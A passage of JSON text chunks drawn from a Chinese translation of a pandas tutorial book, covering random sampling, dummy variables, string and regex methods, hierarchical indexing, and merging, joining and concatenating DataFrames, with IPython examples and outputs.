如果不想用替换的方式选取随机子集，可以在Series和DataFrame上使用sample方法： In [105]: df.sample(n=3) Out[105]: 0 1 2 3 3 12 13 14 15 4 16 17 18 19 2 8 9 10 11 要通过替换的方式产生样本（允许重复选择），可以传递replace=True到sample： In [106]: choices = pd.Series([5, 7, -1, 6, 4]) In [107]: draws = choices.sample(n=10, replace=True) 210 In [108]: draws Out[108]: 4 4 1 7 4 4 2 -1 0 5 3 6 1 7 4 4 0 5 4 4 dtype: int64 计算指标 / 哑变量 另一种常用于统计建模或机器学习的转换方式是：将分类变量（categorical variable）转换为“哑变 量”或“指标矩阵”。"},
    {"text": "使用 之前的一个DataFrame例子： In [109]: df = pd.DataFrame({'key': ['b', 'b', 'a', 'c', 'a', 'b'], .....: 'data1': range(6)}) In [110]: pd.get_dummies(df['key']) Out[110]: a b c 0 0 1 0 1 0 1 0 2 1 0 0 3 0 0 1 4 1 0 0 5 0 1 0 有时候，你可能想给指标DataFrame的列加上一个前缀，以便能够跟其他数据进行合并。 get_dummies的prefix参数可以实现该功能： In [111]: dummies = pd.get_dummies(df['key'], prefix='key') In [112]: df_with_dummy = df[['data1']].join(dummies) In [113]: df_with_dummy Out[113]: 211 data1 key_a key_b key_c 0 0 0 1 0 1 1 0 1 0 2 2 1 0 0 3 3 0 0 1 4 4 1 0 0 5 5 0 1 0 如果DataFrame中的某行同属于多个分类，则事情就会有点复杂。"},
    {"text": "看一下MovieLens 1M数据集， 14章会更深入地研究它： In [114]: mnames = ['movie_id', 'title', 'genres'] In [115]: movies = pd.read_table('datasets/movielens/movies.dat', sep='::', .....: header=None, names=mnames) In [116]: movies[:10] Out[116]: movie_id title genres 0 1 Toy Story (1995) Animation|Children's|Comedy 1 2 Jumanji (1995) Adventure|Children's|Fantasy 2 3 Grumpier Old Men (1995) Comedy|Romance 3 4 Waiting to Exhale (1995) Comedy|Drama 4 5 Father of the Bride Part II (1995) Comedy 5 6 Heat (1995) Action|Crime|Thriller 6 7 Sabrina (1995) Comedy|Romance 7 8 Tom and Huck (1995) Adventure|Children's 8 9 Sudden Death (1995) Action 9 10 GoldenEye (1995) Action|Adventure|Thriller 要为每个genre添加指标变量就需要做一些数据规整操作。 首先，我们从数据集中抽取出不同的 genre值： In [117]: all_genres = [] In [118]: for x in movies.genres: .....: all_genres.extend(x.split('|')) In [119]: genres = pd.unique(all_genres) 现在有： In [120]: genres Out[120]: array(['Animation', \"Children's\", 'Comedy', 'Adventure', 'Fantasy', 212 'Romance', 'Drama', 'Action', 'Crime', 'Thriller','Horror', 'Sci-Fi', 'Documentary', 'War', 'Musical', 'Mystery', 'Film-Noir', 'Western'], dtype=object) 构建指标DataFrame的方法之一是从一个全零DataFrame开始： In [121]: zero_matrix = np.zeros((len(movies), len(genres))) In [122]: dummies = pd.DataFrame(zero_matrix, columns=genres) 现在，迭代每一部电影，并将dummies各行的条目设为1。 要这么做，我们使用dummies.columns 来计算每个类型的列索引： In [123]: gen = movies.genres[0] In [124]: gen.split('|') Out[124]: ['Animation', \"Children's\", 'Comedy'] In [125]: dummies.columns.get_indexer(gen.split('|')) Out[125]: array([0, 1, 2]) 然后，根据索引，使用.iloc设定值： In [126]: for i, gen in enumerate(movies.genres): .....: indices = dummies.columns.get_indexer(gen.split('|')) .....: dummies.iloc[i, indices] = 1 .....: 然后，和以前一样，再将其与movies合并起来： In [127]: movies_windic = movies.join(dummies.add_prefix('Genre_')) In [128]: movies_windic.iloc[0] Out[128]: movie_id 1 title Toy Story (1995) genres Animation|Children's|Comedy Genre_Animation 1 Genre_Children's 1 Genre_Comedy 1 Genre_Adventure 0 Genre_Fantasy 0 Genre_Romance 0 Genre_Drama 0 ... 213 Genre_Crime 0 Genre_Thriller 0 Genre_Horror 0 Genre_Sci-Fi 0 Genre_Documentary 0 Genre_War 0 Genre_Musical 0 Genre_Mystery 0 Genre_Film-Noir 0 Genre_Western 0 Name: 0, Length: 21, dtype: object 笔记：对于很大的数据，用这种方式构建多成员指标变量就会变得非常慢。"},
    {"text": "一个对统计应用有用的秘诀是：结合get_dummies和诸如cut之类的离散化函数： In [129]: np.random.seed(12345) In [130]: values = np.random.rand(10) In [131]: values Out[131]: array([ 0.9296, 0.3164, 0.1839, 0.2046, 0.5677, 0.5955, 0.9645, 0.6532, 0.7489, 0.6536]) In [132]: bins = [0, 0.2, 0.4, 0.6, 0.8, 1] In [133]: pd.get_dummies(pd.cut(values, bins)) Out[133]: (0.0, 0.2] (0.2, 0.4] (0.4, 0.6] (0.6, 0.8] (0.8, 1.0] 0 0 0 0 0 1 1 0 1 0 0 0 2 1 0 0 0 0 3 0 1 0 0 0 4 0 0 1 0 0 5 0 0 1 0 0 6 0 0 0 0 1 7 0 0 0 1 0 8 0 0 0 1 0 9 0 0 0 1 0 我们用numpy.random.seed，使这个例子具有确定性。"},
    {"text": "例如，以逗号分隔的字 符串可以用split拆分成数段： In [134]: val = 'a,b, guido' In [135]: val.split(',') Out[135]: ['a', 'b', ' guido'] split常常与strip一起使用，以去除空白符（包括换行符）： In [136]: pieces = [x.strip() for x in val.split(',')] In [137]: pieces Out[137]: ['a', 'b', 'guido'] 利用加法，可以将这些子字符串以双冒号分隔符的形式连接起来： In [138]: first, second, third = pieces In [139]: first + '::' + second + '::' + third Out[139]: 'a::b::guido' 但这种方式并不是很实用。"},
    {"text": "一种更快更符合Python风格的方式是，向字符串\"::\"的join方法传入一个 列表或元组： In [140]: '::'.join(pieces) Out[140]: 'a::b::guido' 其它方法关注的是子串定位。"},
    {"text": "检测子串的最佳方式是利用Python的in关键字，还可以使用index和 find： In [141]: 'guido' in val Out[141]: True In [142]: val.index(',') Out[142]: 1 215 In [143]: val.find(':') Out[143]: -1 注意find和index的区别：如果找不到字符串，index将会引发一个异常（而不是返回－1）： In [144]: val.index(':') --------------------------------------------------------------------------- ValueError Traceback (most recent call last) <ipython-input-144-280f8b2856ce> in <module>() ----> 1 val.index(':') ValueError: substring not found 与此相关，count可以返回指定子串的出现次数： In [145]: val.count(',') Out[145]: 2 replace用于将指定模式替换为另一个模式。"},
    {"text": "通过传入空字符串，它也常常用于删除模式： In [146]: val.replace(',', '::') Out[146]: 'a::b:: guido' In [147]: val.replace(',', '') Out[147]: 'ab guido' 表7-3列出了Python内置的字符串方法。"},
    {"text": "正则表达式 正则表达式提供了一种灵活的在文本中搜索或匹配（通常比前者复杂）字符串模式的方式。 正则表 达式，常称作regex，是根据正则表达式语言编写的字符串。 Python内置的re模块负责对字符串应 用正则表达式。"},
    {"text": "描述 一个或多个空白符的regex是\\s+： In [148]: import re In [149]: text = \"foo bar\\t baz \\tqux\" In [150]: re.split('\\s+', text) Out[150]: ['foo', 'bar', 'baz', 'qux'] 调用re.split('\\s+',text)时，正则表达式会先被编译，然后再在text上调用其split方法。 你可以用 re.compile自己编译regex以得到一个可重用的regex对象： In [151]: regex = re.compile('\\s+') In [152]: regex.split(text) Out[152]: ['foo', 'bar', 'baz', 'qux'] 如果只希望得到匹配regex的所有模式，则可以使用findall方法： In [153]: regex.findall(text) 217 Out[153]: [' ', '\\t ', ' \\t'] 笔记：如果想避免正则表达式中不需要的转义（\\），则可以使用原始字符串字面量如 r'C:\\x'（也可以编写其等价式'C:\\x'）。 如果打算对许多字符串应用同一条正则表达式，强烈建议通过re.compile创建regex对象。"},
    {"text": "来看一个小例子，假设我们有一段文本以及 一条能够识别大部分电子邮件地址的正则表达式： text = \"\"\"Dave dave@google.com Steve steve@gmail.com Rob rob@gmail.com Ryan ryan@yahoo.com \"\"\" pattern = r'[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,4}' # re.IGNORECASE makes the regex case-insensitive regex = re.compile(pattern, flags=re.IGNORECASE) 对text使用findall将得到一组电子邮件地址： In [155]: regex.findall(text) Out[155]: ['dave@google.com', 'steve@gmail.com', 'rob@gmail.com', 'ryan@yahoo.com'] search返回的是文本中第一个电子邮件地址（以特殊的匹配项对象形式返回）。 对于上面那个 regex，匹配项对象只能告诉我们模式在原字符串中的起始和结束位置： In [156]: m = regex.search(text) In [157]: m Out[157]: <_sre.SRE_Match object; span=(5, 20), match='dave@google.com'> In [158]: text[m.start():m.end()] Out[158]: 'dave@google.com' regex.match则将返回None，因为它只匹配出现在字符串开头的模式： In [159]: print(regex.match(text)) 218 None 相关的，sub方法可以将匹配到的模式替换为指定字符串，并返回所得到的新字符串： In [160]: print(regex.sub('REDACTED', text)) Dave REDACTED Steve REDACTED Rob REDACTED Ryan REDACTED 假设你不仅想要找出电子邮件地址，还想将各个地址分成3个部分：用户名、域名以及域后缀。 要 实现此功能，只需将待分段的模式的各部分用圆括号包起来即可： In [161]: pattern = r'([A-Z0-9._%+-]+)@([A-Z0-9.-]+)\\.([A-Z]{2,4})' In [162]: regex = re.compile(pattern, flags=re.IGNORECASE) 由这种修改过的正则表达式所产生的匹配项对象，可以通过其groups方法返回一个由模式各段组 成的元组： In [163]: m = regex.match('wesm@bright.net') In [164]: m.groups() Out[164]: ('wesm', 'bright', 'net') 对于带有分组功能的模式，findall会返回一个元组列表： In [165]: regex.findall(text) Out[165]: [('dave', 'google', 'com'), ('steve', 'gmail', 'com'), ('rob', 'gmail', 'com'), ('ryan', 'yahoo', 'com')] sub还能通过诸如\\1、\\2之类的特殊符号访问各匹配项中的分组。 符号\\1对应第一个匹配的组，\\2对 应第二个匹配的组，以此类推： In [166]: print(regex.sub(r'Username: \\1, Domain: \\2, Suffix: \\3', text)) Dave Username: dave, Domain: google, Suffix: com Steve Username: steve, Domain: gmail, Suffix: com Rob Username: rob, Domain: gmail, Suffix: com Ryan Username: ryan, Domain: yahoo, Suffix: com 219 Python中还有许多的正则表达式，但大部分都超出了本书的范围。"},
    {"text": "更为复杂的情况是，含有字符串的 列有时还含有缺失数据： In [167]: data = {'Dave': 'dave@google.com', 'Steve': 'steve@gmail.com', .....: 'Rob': 'rob@gmail.com', 'Wes': np.nan} In [168]: data = pd.Series(data) In [169]: data Out[169]: Dave dave@google.com Rob rob@gmail.com Steve steve@gmail.com Wes NaN dtype: object In [170]: data.isnull() Out[170]: Dave False Rob False Steve False Wes True dtype: bool 220 通过data.map，所有字符串和正则表达式方法都能被应用于（传入lambda表达式或其他函数）各 个值，但是如果存在NA（null）就会报错。"},
    {"text": "例如，我们可以通过 str.contains检查各个电子邮件地址是否含有\"gmail\"： In [171]: data.str.contains('gmail') Out[171]: Dave False Rob True Steve True Wes NaN dtype: object 也可以使用正则表达式，还可以加上任意re选项（如IGNORECASE）： In [172]: pattern Out[172]: '([A-Z0-9._%+-]+)@([A-Z0-9.-]+)\\\\.([A-Z]{2,4})' In [173]: data.str.findall(pattern, flags=re.IGNORECASE) Out[173]: Dave [(dave, google, com)] Rob [(rob, gmail, com)] Steve [(steve, gmail, com)] Wes NaN dtype: object 有两个办法可以实现矢量化的元素获取操作：要么使用str.get，要么在str属性上使用索引： In [174]: matches = data.str.match(pattern, flags=re.IGNORECASE) In [175]: matches Out[175]: Dave True Rob True Steve True Wes NaN dtype: object 要访问嵌入列表中的元素，我们可以传递索引到这两个函数中： In [176]: matches.str.get(1) Out[176]: Dave NaN Rob NaN Steve NaN 221 Wes NaN dtype: float64 In [177]: matches.str[0] Out[177]: Dave NaN Rob NaN Steve NaN Wes NaN dtype: float64 你可以利用这种方法对字符串进行截取： In [178]: data.str[:5] Out[178]: Dave dave@ Rob rob@g Steve steve Wes NaN dtype: object 表7-5介绍了更多的pandas字符串方法。"},
    {"text": "我们先来看一个简单 的例子：创建一个Series，并用一个由列表或数组组成的列表作为索引： In [9]: data = pd.Series(np.random.randn(9), ...: index=[['a', 'a', 'a', 'b', 'b', 'c', 'c', 'd', 'd'], ...: [1, 2, 3, 1, 3, 1, 2, 2, 3]]) In [10]: data Out[10]: a 1 -0.204708 2 0.478943 3 -0.519439 b 1 -0.555730 3 1.965781 c 1 1.393406 2 0.092908 d 2 0.281746 3 0.769023 dtype: float64 看到的结果是经过美化的带有MultiIndex索引的Series的格式。 索引之间的“间隔”表示“直接使用上 面的标签”： In [11]: data.index Out[11]: MultiIndex(levels=[['a', 'b', 'c', 'd'], [1, 2, 3]], labels=[[0, 0, 0, 1, 1, 2, 2, 3, 3], [0, 1, 2, 0, 2, 0, 1, 1, 2]]) 对于一个层次化索引的对象，可以使用所谓的部分索引，使用它选取数据子集的操作更简单： In [12]: data['b'] Out[12]: 1 -0.555730 3 1.965781 dtype: float64 224 In [13]: data['b':'c'] Out[13]: b 1 -0.555730 3 1.965781 c 1 1.393406 2 0.092908 dtype: float64 In [14]: data.loc[['b', 'd']] Out[14]: b 1 -0.555730 3 1.965781 d 2 0.281746 3 0.769023 dtype: float64 有时甚至还可以在“内层”中进行选取： In [15]: data.loc[:, 2] Out[15]: a 0.478943 c 0.092908 d 0.281746 dtype: float64 层次化索引在数据重塑和基于分组的操作（如透视表生成）中扮演着重要的角色。"},
    {"text": "例如，可以通过 unstack方法将这段数据重新安排到一个DataFrame中： In [16]: data.unstack() Out[16]: 1 2 3 a -0.204708 0.478943 -0.519439 b -0.555730 NaN 1.965781 c 1.393406 0.092908 NaN d NaN 0.281746 0.769023 unstack的逆运算是stack： In [17]: data.unstack().stack() Out[17]: a 1 -0.204708 2 0.478943 3 -0.519439 b 1 -0.555730 3 1.965781 c 1 1.393406 225 2 0.092908 d 2 0.281746 3 0.769023 dtype: float64 stack和unstack将在本章后面详细讲解。"},
    {"text": "对于一个DataFrame，每条轴都可以有分层索引： In [18]: frame = pd.DataFrame(np.arange(12).reshape((4, 3)), ....: index=[['a', 'a', 'b', 'b'], [1, 2, 1, 2]], ....: columns=[['Ohio', 'Ohio', 'Colorado'], ....: ['Green', 'Red', 'Green']]) In [19]: frame Out[19]: Ohio Colorado Green Red Green a 1 0 1 2 2 3 4 5 b 1 6 7 8 2 9 10 11 各层都可以有名字（可以是字符串，也可以是别的Python对象）。"},
    {"text": "如果指定了名称，它们就会显 示在控制台输出中： In [20]: frame.index.names = ['key1', 'key2'] In [21]: frame.columns.names = ['state', 'color'] In [22]: frame Out[22]: state Ohio Colorado color Green Red Green key1 key2 a 1 0 1 2 2 3 4 5 b 1 6 7 8 2 9 10 11 注意：小心区分索引名state、color与行标签。"},
    {"text": "有了部分列索引，因此可以轻松选取列分组： In [23]: frame['Ohio'] Out[23]: color Green Red 226 key1 key2 a 1 0 1 2 3 4 b 1 6 7 2 9 10 可以单独创建MultiIndex然后复用。 上面那个DataFrame中的（带有分级名称）列可以这样创建： MultiIndex.from_arrays([['Ohio', 'Ohio', 'Colorado'], ['Green', 'Red', 'Green']], names=['state', 'color']) 重排与分级排序 有时，你需要重新调整某条轴上各级别的顺序，或根据指定级别上的值对数据进行排序。"},
    {"text": "swaplevel接受两个级别编号或名称，并返回一个互换了级别的新对象（但数据不会发生变化）： In [24]: frame.swaplevel('key1', 'key2') Out[24]: state Ohio Colorado color Green Red Green key2 key1 1 a 0 1 2 2 a 3 4 5 1 b 6 7 8 2 b 9 10 11 而sort_index则根据单个级别中的值对数据进行排序。 交换级别时，常常也会用到sort_index，这 样最终结果就是按照指定顺序进行字母排序了： In [25]: frame.sort_index(level=1) Out[25]: state Ohio Colorado color Green Red Green key1 key2 a 1 0 1 2 b 1 6 7 8 a 2 3 4 5 b 2 9 10 11 In [26]: frame.swaplevel(0, 1).sort_index(level=0) Out[26]: state Ohio Colorado color Green Red Green key2 key1 1 a 0 1 2 227 b 6 7 8 2 a 3 4 5 b 9 10 11 根据级别汇总统计 许多对DataFrame和Series的描述和汇总统计都有一个level选项，它用于指定在某条轴上求和的级 别。 再以上面那个DataFrame为例，我们可以根据行或列上的级别来进行求和： In [27]: frame.sum(level='key2') Out[27]: state Ohio Colorado color Green Red Green key2 1 6 8 10 2 12 14 16 In [28]: frame.sum(level='color', axis=1) Out[28]: color Green Red key1 key2 a 1 2 1 2 8 4 b 1 14 7 2 20 10 这其实是利用了pandas的groupby功能，本书稍后将对其进行详细讲解。"},
    {"text": "以下面这个DataFrame为例： In [29]: frame = pd.DataFrame({'a': range(7), 'b': range(7, 0, -1), ....: 'c': ['one', 'one', 'one', 'two', 'two', ....: 'two', 'two'], ....: 'd': [0, 1, 2, 0, 1, 2, 3]}) In [30]: frame Out[30]: a b c d 0 0 7 one 0 1 1 6 one 1 2 2 5 one 2 3 3 4 two 0 228 4 4 3 two 1 5 5 2 two 2 6 6 1 two 3 DataFrame的set_index函数会将其一个或多个列转换为行索引，并创建一个新的DataFrame： In [31]: frame2 = frame.set_index(['c', 'd']) In [32]: frame2 Out[32]: a b c d one 0 0 7 1 1 6 2 2 5 two 0 3 4 1 4 3 2 5 2 3 6 1 默认情况下，那些列会从DataFrame中移除，但也可以将其保留下来： In [33]: frame.set_index(['c', 'd'], drop=False) Out[33]: a b c d c d one 0 0 7 one 0 1 1 6 one 1 2 2 5 one 2 two 0 3 4 two 0 1 4 3 two 1 2 5 2 two 2 3 6 1 two 3 reset_index的功能跟set_index刚好相反，层次化索引的级别会被转移到列里面： In [34]: frame2.reset_index() Out[34]: c d a b 0 one 0 0 7 1 one 1 1 6 2 one 2 2 5 3 two 0 3 4 4 two 1 4 3 5 two 2 5 2 6 two 3 6 1 229 8.2 合并数据集 pandas对象中的数据可以通过一些方式进行合并： pandas.merge可根据一个或多个键将不同DataFrame中的行连接起来。"},
    {"text": "以一个简单的例子开始： In [35]: df1 = pd.DataFrame({'key': ['b', 'b', 'a', 'c', 'a', 'a', 'b'], ....: 'data1': range(7)}) In [36]: df2 = pd.DataFrame({'key': ['a', 'b', 'd'], ....: 'data2': range(3)}) In [37]: df1 Out[37]: data1 key 0 0 b 1 1 b 2 2 a 3 3 c 4 4 a 5 5 a 6 6 b In [38]: df2 Out[38]: data2 key 0 0 a 1 1 b 2 2 d 这是一种多对一的合并。"},
    {"text": "对这些对象调用merge即可得到： 230 In [39]: pd.merge(df1, df2) Out[39]: data1 key data2 0 0 b 1 1 1 b 1 2 6 b 1 3 2 a 0 4 4 a 0 5 5 a 0 注意，我并没有指明要用哪个列进行连接。"},
    {"text": "不 过，最好明确指定一下： In [40]: pd.merge(df1, df2, on='key') Out[40]: data1 key data2 0 0 b 1 1 1 b 1 2 6 b 1 3 2 a 0 4 4 a 0 5 5 a 0 如果两个对象的列名不同，也可以分别进行指定： In [41]: df3 = pd.DataFrame({'lkey': ['b', 'b', 'a', 'c', 'a', 'a', 'b'], ....: 'data1': range(7)}) In [42]: df4 = pd.DataFrame({'rkey': ['a', 'b', 'd'], ....: 'data2': range(3)}) In [43]: pd.merge(df3, df4, left_on='lkey', right_on='rkey') Out[43]: data1 lkey data2 rkey 0 0 b 1 b 1 1 b 1 b 2 6 b 1 b 3 2 a 0 a 4 4 a 0 a 5 5 a 0 a 可能你已经注意到了，结果里面c和d以及与之相关的数据消失了。"},
    {"text": "外连接求取的是键的并集， 组合了左连接和右连接的效果： 231 In [44]: pd.merge(df1, df2, how='outer') Out[44]: data1 key data2 0 0.0 b 1.0 1 1.0 b 1.0 2 6.0 b 1.0 3 2.0 a 0.0 4 4.0 a 0.0 5 5.0 a 0.0 6 3.0 c NaN 7 NaN d 2.0 表8-1对这些选项进行了总结。"},
    {"text": "看下面的例子： In [45]: df1 = pd.DataFrame({'key': ['b', 'b', 'a', 'c', 'a', 'b'], ....: 'data1': range(6)}) In [46]: df2 = pd.DataFrame({'key': ['a', 'b', 'a', 'b', 'd'], ....: 'data2': range(5)}) In [47]: df1 Out[47]: data1 key 0 0 b 1 1 b 2 2 a 3 3 c 4 4 a 5 5 b In [48]: df2 232 Out[48]: data2 key 0 0 a 1 1 b 2 2 a 3 3 b 4 4 d In [49]: pd.merge(df1, df2, on='key', how='left') Out[49]: data1 key data2 0 0 b 1.0 1 0 b 3.0 2 1 b 1.0 3 1 b 3.0 4 2 a 0.0 5 2 a 2.0 6 3 c NaN 7 4 a 0.0 8 4 a 2.0 9 5 b 1.0 10 5 b 3.0 多对多连接产生的是行的笛卡尔积。"},
    {"text": "连接方式只影响出现在结果中的不同的键的值： In [50]: pd.merge(df1, df2, how='inner') Out[50]: data1 key data2 0 0 b 1 1 0 b 3 2 1 b 1 3 1 b 3 4 5 b 1 5 5 b 3 6 2 a 0 7 2 a 2 8 4 a 0 9 4 a 2 要根据多个键进行合并，传入一个由列名组成的列表即可： In [51]: left = pd.DataFrame({'key1': ['foo', 'foo', 'bar'], ....: 'key2': ['one', 'two', 'one'], ....: 'lval': [1, 2, 3]}) In [52]: right = pd.DataFrame({'key1': ['foo', 'foo', 'bar', 'bar'], 233 ....: 'key2': ['one', 'one', 'one', 'two'], ....: 'rval': [4, 5, 6, 7]}) In [53]: pd.merge(left, right, on=['key1', 'key2'], how='outer') Out[53]: key1 key2 lval rval 0 foo one 1.0 4.0 1 foo one 1.0 5.0 2 foo two 2.0 NaN 3 bar one 3.0 6.0 4 bar two NaN 7.0 结果中会出现哪些键组合取决于所选的合并方式，你可以这样来理解：多个键形成一系列元组，并 将其当做单个连接键（当然，实际上并不是这么回事）。"},
    {"text": "虽然你可以手工处理列名重叠的问题 （查看前面介绍的重命名轴标签），但merge有一个更实用的suffixes选项，用于指定附加到左右 两个DataFrame对象的重叠列名上的字符串： In [54]: pd.merge(left, right, on='key1') Out[54]: key1 key2_x lval key2_y rval 0 foo one 1 one 4 1 foo one 1 one 5 2 foo two 2 one 4 3 foo two 2 one 5 4 bar one 3 one 6 5 bar one 3 two 7 In [55]: pd.merge(left, right, on='key1', suffixes=('_left', '_right')) Out[55]: key1 key2_left lval key2_right rval 0 foo one 1 one 4 1 foo one 1 one 5 2 foo two 2 one 4 3 foo two 2 one 5 4 bar one 3 one 6 5 bar one 3 two 7 merge的参数请参见表8-2。"},
    {"text": "表8-2 merge函数的参数 234 indicator 添加特殊的列_merge，它可以指明每个行的来源，它的值有left_only、right_only或 both，根据每行的合并数据的来源。"},
    {"text": "在这种情况下，你可以传入left_index=True或 right_index=True（或两个都传）以说明索引应该被用作连接键： In [56]: left1 = pd.DataFrame({'key': ['a', 'b', 'a', 'a', 'b', 'c'], ....: 'value': range(6)}) In [57]: right1 = pd.DataFrame({'group_val': [3.5, 7]}, index=['a', 'b']) In [58]: left1 Out[58]: key value 0 a 0 1 b 1 2 a 2 235 3 a 3 4 b 4 5 c 5 In [59]: right1 Out[59]: group_val a 3.5 b 7.0 In [60]: pd.merge(left1, right1, left_on='key', right_index=True) Out[60]: key value group_val 0 a 0 3.5 2 a 2 3.5 3 a 3 3.5 1 b 1 7.0 4 b 4 7.0 由于默认的merge方法是求取连接键的交集，因此你可以通过外连接的方式得到它们的并集： In [61]: pd.merge(left1, right1, left_on='key', right_index=True, how='outer') Out[61]: key value group_val 0 a 0 3.5 2 a 2 3.5 3 a 3 3.5 1 b 1 7.0 4 b 4 7.0 5 c 5 NaN 对于层次化索引的数据，事情就有点复杂了，因为索引的合并默认是多键合并： In [62]: lefth = pd.DataFrame({'key1': ['Ohio', 'Ohio', 'Ohio', ....: 'Nevada', 'Nevada'], ....: 'key2': [2000, 2001, 2002, 2001, 2002], ....: 'data': np.arange(5.)}) In [63]: righth = pd.DataFrame(np.arange(12).reshape((6, 2)), ....: index=[['Nevada', 'Nevada', 'Ohio', 'Ohio', ....: 'Ohio', 'Ohio'], ....: [2001, 2000, 2000, 2000, 2001, 2002]], ....: columns=['event1', 'event2']) In [64]: lefth Out[64]: data key1 key2 236 0 0.0 Ohio 2000 1 1.0 Ohio 2001 2 2.0 Ohio 2002 3 3.0 Nevada 2001 4 4.0 Nevada 2002 In [65]: righth Out[65]: event1 event2 Nevada 2001 0 1 2000 2 3 Ohio 2000 4 5 2000 6 7 2001 8 9 2002 10 11 这种情况下，你必须以列表的形式指明用作合并键的多个列（注意用how='outer'对重复索引值的 处理）： In [66]: pd.merge(lefth, righth, left_on=['key1', 'key2'], right_index=True) Out[66]: data key1 key2 event1 event2 0 0.0 Ohio 2000 4 5 0 0.0 Ohio 2000 6 7 1 1.0 Ohio 2001 8 9 2 2.0 Ohio 2002 10 11 3 3.0 Nevada 2001 0 1 In [67]: pd.merge(lefth, righth, left_on=['key1', 'key2'], ....: right_index=True, how='outer') Out[67]: data key1 key2 event1 event2 0 0.0 Ohio 2000 4.0 5.0 0 0.0 Ohio 2000 6.0 7.0 1 1.0 Ohio 2001 8.0 9.0 2 2.0 Ohio 2002 10.0 11.0 3 3.0 Nevada 2001 0.0 1.0 4 4.0 Nevada 2002 NaN NaN 4 NaN Nevada 2000 2.0 3.0 同时使用合并双方的索引也没问题： In [68]: left2 = pd.DataFrame([[1., 2.], [3., 4.], [5., 6.]], ....: index=['a', 'c', 'e'], ....: columns=['Ohio', 'Nevada']) In [69]: right2 = pd.DataFrame([[7., 8.], [9., 10.], [11., 12.], [13, 14]], 237 ....: index=['b', 'c', 'd', 'e'], ....: columns=['Missouri', 'Alabama']) In [70]: left2 Out[70]: Ohio Nevada a 1.0 2.0 c 3.0 4.0 e 5.0 6.0 In [71]: right2 Out[71]: Missouri Alabama b 7.0 8.0 c 9.0 10.0 d 11.0 12.0 e 13.0 14.0 In [72]: pd.merge(left2, right2, how='outer', left_index=True, right_index=True) Out[72]: Ohio Nevada Missouri Alabama a 1.0 2.0 NaN NaN b NaN NaN 7.0 8.0 c 3.0 4.0 9.0 10.0 d NaN NaN 11.0 12.0 e 5.0 6.0 13.0 14.0 DataFrame还有一个便捷的join实例方法，它能更为方便地实现按索引合并。"},
    {"text": "在上面那个例子中，我们可以编 写： In [73]: left2.join(right2, how='outer') Out[73]: Ohio Nevada Missouri Alabama a 1.0 2.0 NaN NaN b NaN NaN 7.0 8.0 c 3.0 4.0 9.0 10.0 d NaN NaN 11.0 12.0 e 5.0 6.0 13.0 14.0 因为一些历史版本的遗留原因，DataFrame的join方法默认使用的是左连接，保留左边表的行索 引。 它还支持在调用的DataFrame的列上，连接传递的DataFrame索引： In [74]: left1.join(right1, on='key') Out[74]: key value group_val 238 0 a 0 3.5 1 b 1 7.0 2 a 2 3.5 3 a 3 3.5 4 b 4 7.0 5 c 5 NaN 最后，对于简单的索引合并，你还可以向join传入一组DataFrame，下一节会介绍更为通用的 concat函数，也能实现此功能： In [75]: another = pd.DataFrame([[7., 8.], [9., 10.], [11., 12.], [16., 17.]], ....: index=['a', 'c', 'e', 'f'], ....: columns=['New York', 'Oregon']) In [76]: another Out[76]: New York Oregon a 7.0 8.0 c 9.0 10.0 e 11.0 12.0 f 16.0 17.0 In [77]: left2.join([right2, another]) Out[77]: Ohio Nevada Missouri Alabama New York Oregon a 1.0 2.0 NaN NaN 7.0 8.0 c 3.0 4.0 9.0 10.0 9.0 10.0 e 5.0 6.0 13.0 14.0 11.0 12.0 In [78]: left2.join([right2, another], how='outer') Out[78]: Ohio Nevada Missouri Alabama New York Oregon a 1.0 2.0 NaN NaN 7.0 8.0 b NaN NaN 7.0 8.0 NaN NaN c 3.0 4.0 9.0 10.0 9.0 10.0 d NaN NaN 11.0 12.0 NaN NaN e 5.0 6.0 13.0 14.0 11.0 12.0 f NaN NaN NaN NaN 16.0 17.0 轴向连接 另一种数据合并运算也被称作连接（concatenation）、绑定（binding）或堆叠（stacking）。 NumPy的concatenation函数可以用NumPy数组来做： In [79]: arr = np.arange(12).reshape((3, 4)) 239 In [80]: arr Out[80]: array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) In [81]: np.concatenate([arr, arr], axis=1) Out[81]: array([[ 0, 1, 2, 3, 0, 1, 2, 3], [ 4, 5, 6, 7, 4, 5, 6, 7], [ 8, 9, 10, 11, 8, 9, 10, 11]]) 对于pandas对象（如Series和DataFrame），带有标签的轴使你能够进一步推广数组的连接运 算。"},
    {"text": "假设有三个没有重叠索引的Series： In [82]: s1 = pd.Series([0, 1], index=['a', 'b']) In [83]: s2 = pd.Series([2, 3, 4], index=['c', 'd', 'e']) In [84]: s3 = pd.Series([5, 6], index=['f', 'g']) 对这些对象调用concat可以将值和索引粘合在一起： In [85]: pd.concat([s1, s2, s3]) Out[85]: a 0 b 1 c 2 d 3 e 4 f 5 g 6 dtype: int64 默认情况下，concat是在axis=0上工作的，最终产生一个新的Series。 如果传入axis=1，则结果就 会变成一个DataFrame（axis=1是列）： 240 In [86]: pd.concat([s1, s2, s3], axis=1) Out[86]: 0 1 2 a 0.0 NaN NaN b 1.0 NaN NaN c NaN 2.0 NaN d NaN 3.0 NaN e NaN 4.0 NaN f NaN NaN 5.0 g NaN NaN 6.0 这种情况下，另外的轴上没有重叠，从索引的有序并集（外连接）上就可以看出来。 传入 join='inner'即可得到它们的交集： In [87]: s4 = pd.concat([s1, s3]) In [88]: s4 Out[88]: a 0 b 1 f 5 g 6 dtype: int64 In [89]: pd.concat([s1, s4], axis=1) Out[89]: 0 1 a 0.0 0 b 1.0 1 f NaN 5 g NaN 6 In [90]: pd.concat([s1, s4], axis=1, join='inner') Out[90]: 0 1 a 0 0 b 1 1 在这个例子中，f和g标签消失了，是因为使用的是join='inner'选项。 你可以通过join_axes指定要在其它轴上使用的索引： In [91]: pd.concat([s1, s4], axis=1, join_axes=[['a', 'c', 'b', 'e']]) Out[91]: 0 1 a 0.0 0.0 241 c NaN NaN b 1.0 1.0 e NaN NaN 不过有个问题，参与连接的片段在结果中区分不开。"},
